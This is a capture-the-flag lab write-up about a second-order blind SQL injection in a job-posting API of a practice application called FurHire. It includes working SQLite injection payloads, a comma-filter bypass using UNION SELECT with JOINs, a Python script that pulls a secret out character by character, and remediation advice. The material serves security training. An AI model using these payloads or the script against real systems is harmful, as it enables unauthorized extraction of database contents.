FurHire: Second-Order SQL Injection
Executive Summary
Overall Risk Rating: π΄ Critical
Key Findings:
- 1 Critical second-order blind SQL injection in job posting functionality
- Input filter blocking commas, requiring alternative injection techniques
- Sensitive data (flag) stored in accessible config table
- SQLite database with no parameterized queries
Business Impact: Second-order blind SQL injection allows attackers to extract all database contents including configuration secrets, user credentials, and application data through boolean-based conditional responses.
Objective
Extract the flag from the applicationβs database.
Initial Access
# Target Application
URL: https://lab-1769564342867-r3ugba.labs-app.bugforge.io
# Auth: JWT Bearer token (recruiter role)
Authorization: Bearer <JWT>
Key Findings
Critical & High-Risk Vulnerabilities
- Second-Order Blind SQLi - Job title field injectable, result verified via separate endpoint (CWE-89)
- Comma Filter Bypass - Application blocks commas but JOIN-based UNION bypass possible (CWE-943)
- Sensitive Data Exposure - Flag stored in plaintext in config table (CWE-312)
CVSS v3.1 Score for SQLi Chain: 8.6 (High)
| Metric | Value |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Changed (S:C) |
| Confidentiality | High (C:H) |
| Integrity | None (I:N) |
| Availability | None (A:N) |
Enumeration Summary
Application Analysis
Target Endpoints Discovered:
POST /api/jobs- Create job posting (injection point)GET /api/jobs/{id}/applicants- View applicants (boolean oracle)GET /api/jobs- List all jobs
Summary:
- Database: SQLite
- Authentication: JWT Bearer token (role-based: recruiter, user)
- Input Filtering: Commas blocked in input fields
- Injection Type: Second-order blind (submit β check separate endpoint)
Attack Chain Visualization
βββββββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β Identify SQLi ββββββΆβ Comma Filter ββββββΆβ Boolean Blind β
β in job title β β Detected β β via EXISTS/LIKE β
β POST /api/jobs β β Use JOIN bypassβ β + GLOB β
βββββββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
β Flag Extracted βββββββ Extract value βββββββ Enumerate tables β
β bug{...} β β char-by-char β β users, config β
β β β Python script β β columns: key,valueβ
βββββββββββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββββββ
Attack Path Summary:
- Identify Injection: SQLi in job title field via
POST /api/jobs - Discover Boolean: Check
GET /api/jobs/{id}/applicants- array with items = true, empty[]= false - Enumerate Tables:
EXISTSqueries againstsqlite_master - Enumerate Columns:
LIKEagainstsqlcolumn insqlite_master - Extract Flag: Character-by-character using
GLOB(case-sensitive) - Alternative: Direct extraction via 15-column UNION SELECT with JOIN bypass
Exploitation Path
Step 1: Identify Injection Point
SQLi in the title field when creating a job posting:
POST /api/jobs HTTP/2
Host: lab-1769564342867-r3ugba.labs-app.bugforge.io
Authorization: Bearer <JWT>
Content-Type: application/json
{"title":"SQLi HERE","description":"descrip","location":"local","job_type":"Full-time","salary_range":"1","requirements":["Guarding"]}
Second-order behavior: Injection submitted via POST, result checked via GET on a different endpoint using the returned job ID:
POST /api/jobs β {"id":49,"message":"Job posted successfully"}
GET /api/jobs/49/applicants β [...] or []
- True condition: Returns array of applicants (Content-Length > 2)
- False condition: Returns empty array
[](Content-Length = 2)
Step 2: Confirm SQLite & Boolean
-- True test
'or 1=1--
-- False test
'or 1=2--
Confirmed different responses between true/false conditions.
Step 3: Enumerate Tables
Key learning: LIKE with a subquery returning multiple rows only checks the first row. Use EXISTS for confirming exact table names across all rows.
-- EXISTS checks ALL rows (reliable)
'or exists(select 1 from sqlite_master where type='table' and name='users')--
'or exists(select 1 from sqlite_master where type='table' and name='config')--
-- LIKE only checks FIRST row returned (unreliable for multi-row results)
'or (SELECT name FROM sqlite_master WHERE type='table') LIKE 'u%'--
Tables found: users, config
Step 4: Enumerate Columns
Used the sql column from sqlite_master which contains the full CREATE TABLE statement:
'or exists(select 1 from sqlite_master where name='config' and sql LIKE '%key%')--
'or exists(select 1 from sqlite_master where name='config' and sql LIKE '%value%')--
Config table columns: key, value
Step 5: Locate Flag & Determine Length
-- Confirm flag exists
'or exists(select 1 from config where key LIKE '%flag%')--
-- Determine length (binary search)
'or (select length(value) from config where key LIKE '%flag%')>10--
'or (select length(value) from config where key LIKE '%flag%')>20--
'or (select length(value) from config where key LIKE '%flag%')>30--
'or (select length(value) from config where key LIKE '%flag%')=37--
Flag length: 37 characters (5 for bug{} + 32 to extract)
Step 6: Extract Flag - Python Script
Used GLOB instead of LIKE for case-sensitive matching:
import requests
base_url = "https://lab-1769564342867-r3ugba.labs-app.bugforge.io"
url_inject = f"{base_url}/api/jobs"
token = "JWT_TOKEN"
flag = "bug{"
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
session = requests.Session()
session.headers.update({
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
})
while len(flag) < 36:
found = False
for c in chars:
sqli = f"'or (select value from config where key GLOB '*flag*') GLOB '{flag}{c}*'--"
data = {
"title": sqli,
"description": "descrip",
"location": "local",
"job_type": "Full-time",
"salary_range": "1",
"requirements": ["Guarding"]
}
r1 = session.post(url_inject, json=data)
job_id = r1.json().get("id")
r2 = session.get(f"{base_url}/api/jobs/{job_id}/applicants")
if len(r2.content) > 2:
flag += c
print(f"[+] {flag}")
found = True
break
if not found:
break
flag += "}"
print(f"Flag: {flag}")
Alternative: UNION SELECT (Direct Extraction)
15-column UNION SELECT using JOIN to bypass comma filter - extracts flag in a single request:
' UNION SELECT * FROM (SELECT value FROM config WHERE key='flag') JOIN (SELECT 2) JOIN (SELECT 3) JOIN (SELECT 4) JOIN (SELECT 5) JOIN (SELECT 6) JOIN (SELECT 7) JOIN (SELECT 8) JOIN (SELECT 9) JOIN (SELECT 10) JOIN (SELECT 11) JOIN (SELECT 12) JOIN (SELECT 13) JOIN (SELECT 14) JOIN (SELECT 15)--
This places the flag value directly into the job listing response - no scripting needed.
Flag / Objective Achieved
β Objective: Extracted flag from config table via second-order blind SQLi
β Flag: Retrieved via boolean blind extraction and confirmed via UNION SELECT
Key Learnings
SQLite Blind Injection Techniques
| Technique | Use Case | Syntax |
|---|---|---|
EXISTS |
Confirm exact names across all rows | exists(select 1 from table where name='x') |
LIKE |
Pattern match on a single row | (select col from table) LIKE 'a%' |
GLOB |
Case-sensitive extraction | (select col from table) GLOB 'A*' |
LIKE vs GLOB in SQLite
| Β | LIKE | GLOB |
|---|---|---|
| Case | Insensitive | Sensitive |
| Wildcard any | % |
* |
| Wildcard single | _ |
? |
LIKE Gotcha
LIKE with a subquery returning multiple rows only checks the first row. Use EXISTS to check across all rows.
Comma Filter Bypass
Use JOIN syntax for UNION SELECT:
-- Instead of: UNION SELECT 1,2,3
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
Second-Order SQLi
Injection and result verification happen at different endpoints. Automated scripts must:
- POST payload β capture returned ID from response
- GET check endpoint with that ID β evaluate boolean condition based on content length
Tools Used
- Burp Suite - Request interception and manual testing
- Python requests - Automated flag extraction script
Remediation
1. SQL Injection in Job Title Field (CVSS: 8.6 - High)
Issue: User-supplied job title is concatenated directly into SQL queries without parameterization.
CWE Reference: CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
Fix:
# BEFORE (Vulnerable)
@app.route('/api/jobs', methods=['POST'])
def create_job():
title = request.json['title']
db.execute(f"INSERT INTO jobs (title, ...) VALUES ('{title}', ...)")
# AFTER (Secure)
@app.route('/api/jobs', methods=['POST'])
def create_job():
title = request.json['title']
db.execute("INSERT INTO jobs (title, ...) VALUES (?, ...)", (title,))
2. Sensitive Data in Config Table (CVSS: 6.5 - Medium)
Issue: Sensitive application secrets stored in plaintext in a database table accessible via SQL injection.
CWE Reference: CWE-312 - Cleartext Storage of Sensitive Information
Fix:
# Store secrets in environment variables, not database
import os
FLAG = os.environ.get('APP_FLAG')
# Or encrypt sensitive config values
from cryptography.fernet import Fernet
cipher = Fernet(os.environ['ENCRYPTION_KEY'])
encrypted_value = cipher.encrypt(value.encode())
Failed Attempts
Approach 1: ORDER BY Enumeration
' ORDER BY 1--
' ORDER BY 2--
Result: β Failed - ORDER BY did not produce observable differences in second-order context
Approach 2: LIKE for Multi-Row Table Enumeration
'or (SELECT name FROM sqlite_master WHERE type='table') LIKE '%config%'--
Result: β Returned false even though config table exists - LIKE only checks first row returned, and users was first alphabetically
Fix: Use EXISTS instead:
'or exists(select 1 from sqlite_master where type='table' and name='config')--
Approach 3: LIKE for Case-Sensitive Flag Extraction
'or (select value from config where key LIKE '%flag%') LIKE 'bug{A%'--
Result: β Unreliable - LIKE is case-insensitive in SQLite, canβt distinguish uppercase from lowercase
Fix: Use GLOB for case-sensitive matching:
'or (select value from config where key GLOB '*flag*') GLOB 'bug{A*'--
OWASP Top 10 Coverage
- A03:2021 - Injection (Second-order blind SQL injection in job title)
- A04:2021 - Insecure Design (Boolean oracle via applicants endpoint, no input sanitization)
- A05:2021 - Security Misconfiguration (Sensitive data in database config table)
References
SQLi Resources:
- PayloadsAllTheThings - SQLi
- HackTricks - SQLite Injection
- SQLite Documentation - Expressions
- PortSwigger - Blind SQL Injection
Tags: #sqli #blind-sqli #second-order #sqlite #comma-bypass #bugforge